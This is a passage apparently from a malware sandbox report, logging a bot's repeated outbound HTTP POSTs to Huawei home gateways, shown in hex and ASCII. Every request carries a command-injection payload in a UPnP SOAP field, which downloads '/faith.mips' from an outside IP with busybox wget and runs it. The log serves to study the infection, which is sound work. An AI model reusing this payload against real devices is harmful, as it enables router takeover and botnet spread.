xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:15.712353945 CET	2544	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:32.094096899 CET	2985	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	156.241.86.194	37215	192.168.2.23	39920

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:02.712347984 CET	2185	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:04.642051935 CET	2240	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.009634972 CET	2296	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:11.620898008 CET	2430	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:20.831809044 CET	2685	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:40.796952009 CET	3222	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	39920	156.241.86.194	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:02.712347984 CET	2185	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
